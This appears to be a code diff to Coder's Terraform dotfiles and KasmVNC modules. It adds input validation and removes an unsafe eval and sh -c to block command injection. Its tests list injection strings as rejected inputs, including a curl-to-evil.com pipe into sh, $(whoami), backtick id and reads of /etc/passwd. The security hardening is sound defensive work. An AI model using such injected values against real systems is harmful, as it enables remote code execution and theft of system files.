it("accepts valid git URL formats", async () => {
|
||||||
const default_dotfiles_uri = "foo";
|
const validUrls = [
|
||||||
const state = await runTerraformApply(import.meta.dir, {
|
"https://github.com/coder/dotfiles",
|
||||||
agent_id: "foo",
|
"https://github.com/coder/dotfiles.git",
|
||||||
default_dotfiles_uri,
|
"git@github.com:coder/dotfiles.git",
|
||||||
});
|
"git://github.com/coder/dotfiles.git",
|
||||||
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri);
|
"ssh://git@github.com/coder/dotfiles.git",
|
||||||
|
];
|
||||||
|
for (const url of validUrls) {
|
||||||
|
const state = await runTerraformApply(import.meta.dir, {
|
||||||
|
agent_id: "foo",
|
||||||
|
dotfiles_uri: url,
|
||||||
|
});
|
||||||
|
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects invalid or malicious URLs", async () => {
|
||||||
|
const invalidUrls = [
|
||||||
|
"https://github.com/user/repo; curl http://evil.com | sh",
|
||||||
|
"https://github.com/$(whoami)/repo",
|
||||||
|
"https://github.com/`id`/repo",
|
||||||
|
"https://github.com/user/repo|cat /etc/passwd",
|
||||||
|
"file:///etc/passwd",
|
||||||
|
"not-a-valid-url",
|
||||||
|
];
|
||||||
|
for (const url of invalidUrls) {
|
||||||
|
await expect(
|
||||||
|
runTerraformApply(import.meta.dir, {
|
||||||
|
agent_id: "foo",
|
||||||
|
dotfiles_uri: url,
|
||||||
|
}),
|
||||||
|
).rejects.toThrow();
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
it("set custom order for coder_parameter", async () => {
|
it("set custom order for coder_parameter", async () => {
|
||||||
|
|||||||
@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
|
|||||||
type = string
|
type = string
|
||||||
description = "The default dotfiles URI if the workspace user does not provide one"
|
description = "The default dotfiles URI if the workspace user does not provide one"
|
||||||
default = ""
|
default = ""
|
||||||
|
|
||||||
|
validation {
|
||||||
|
condition = (
|
||||||
|
var.default_dotfiles_uri == "" ||
|
||||||
|
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
|
||||||
|
)
|
||||||
|
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
variable "dotfiles_uri" {
|
variable "dotfiles_uri" {
|
||||||
type = string
|
type = string
|
||||||
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
|
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
|
||||||
|
default = null
|
||||||
|
|
||||||
default = null
|
validation {
|
||||||
|
condition = (
|
||||||
|
var.dotfiles_uri == null ||
|
||||||
|
var.dotfiles_uri == "" ||
|
||||||
|
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
|
||||||
|
)
|
||||||
|
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
variable "user" {
|
variable "user" {
|
||||||
type = string
|
type = string
|
||||||
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
|
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
|
||||||
default = null
|
default = null
|
||||||
|
|
||||||
|
validation {
|
||||||
|
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
|
||||||
|
error_message = "Must be a valid username without special characters."
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
variable "coder_parameter_order" {
|
variable "coder_parameter_order" {
|
||||||
@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" {
|
|||||||
description = var.description
|
description = var.description
|
||||||
mutable = true
|
mutable = true
|
||||||
icon = "/icon/dotfiles.svg"
|
icon = "/icon/dotfiles.svg"
|
||||||
|
|
||||||
|
validation {
|
||||||
|
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
|
||||||
|
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
locals {
|
locals {
|
||||||
|
|||||||
@ -5,6 +5,19 @@ set -euo pipefail
|
|||||||
DOTFILES_URI="${DOTFILES_URI}"
|
DOTFILES_URI="${DOTFILES_URI}"
|
||||||
DOTFILES_USER="${DOTFILES_USER}"
|
DOTFILES_USER="${DOTFILES_USER}"
|
||||||
|
|
||||||
|
# Validate DOTFILES_URI to prevent command injection (defense in depth)
|
||||||
|
if [ -n "$DOTFILES_URI" ]; then
|
||||||
|
# shellcheck disable=SC2250
|
||||||
|
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
|
||||||
|
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
|
||||||
|
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
# shellcheck disable=SC2157
|
# shellcheck disable=SC2157
|
||||||
if [ -n "$${DOTFILES_URI// }" ]; then
|
if [ -n "$${DOTFILES_URI// }" ]; then
|
||||||
if [ -z "$DOTFILES_USER" ]; then
|
if [ -z "$DOTFILES_USER" ]; then
|
||||||
@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then
|
|||||||
if [ "$DOTFILES_USER" = "$USER" ]; then
|
if [ "$DOTFILES_USER" = "$USER" ]; then
|
||||||
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
|
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
|
||||||
else
|
else
|
||||||
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
|
if command -v getent > /dev/null 2>&1; then
|
||||||
# eval echo ~coder -> "/home/coder"
|
DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
|
||||||
# eval echo ~root -> "/root"
|
else
|
||||||
|
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
|
||||||
|
fi
|
||||||
|
if [ -z "$DOTFILES_USER_HOME" ]; then
|
||||||
|
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
CODER_BIN=$(which coder)
|
CODER_BIN=$(command -v coder)
|
||||||
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
|
sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
|
||||||
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
|
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|||||||
@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
|
|||||||
module "kasmvnc" {
|
module "kasmvnc" {
|
||||||
count = data.coder_workspace.me.start_count
|
count = data.coder_workspace.me.start_count
|
||||||
source = "registry.coder.com/coder/kasmvnc/coder"
|
source = "registry.coder.com/coder/kasmvnc/coder"
|
||||||
version = "1.2.7"
|
version = "1.3.0"
|
||||||
agent_id = coder_agent.example.id
|
agent_id = coder_agent.example.id
|
||||||
desktop_environment = "xfce"
|
desktop_environment = "xfce"
|
||||||
subdomain = true
|
subdomain = true
|
||||||
|
|||||||
@ -54,6 +54,15 @@ variable "subdomain" {
|
|||||||
description = "Is subdomain sharing enabled in your cluster?"
|
description = "Is subdomain sharing enabled in your cluster?"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
variable "share" {
|
||||||
|
type = string
|
||||||
|
default = "owner"
|
||||||
|
validation {
|
||||||
|
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
|
||||||
|
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
resource "coder_script" "kasm_vnc" {
|
resource "coder_script" "kasm_vnc" {
|
||||||
agent_id = var.agent_id
|
agent_id = var.agent_id
|
||||||
display_name = "KasmVNC"
|
display_name = "KasmVNC"
|
||||||
@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
|
|||||||
url = "http://localhost:${var.port}"
|
url = "http://localhost:${var.port}"
|
||||||
icon = "/icon/kasmvnc.svg"
|
icon = "/icon/kasmvnc.svg"
|
||||||
subdomain = var.subdomain
|
subdomain = var.subdomain
|
||||||
share = "owner"
|
share = var.share
|
||||||
order = var.order
|
order = var.order
|
||||||
group = var.group
|
group = var.group
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user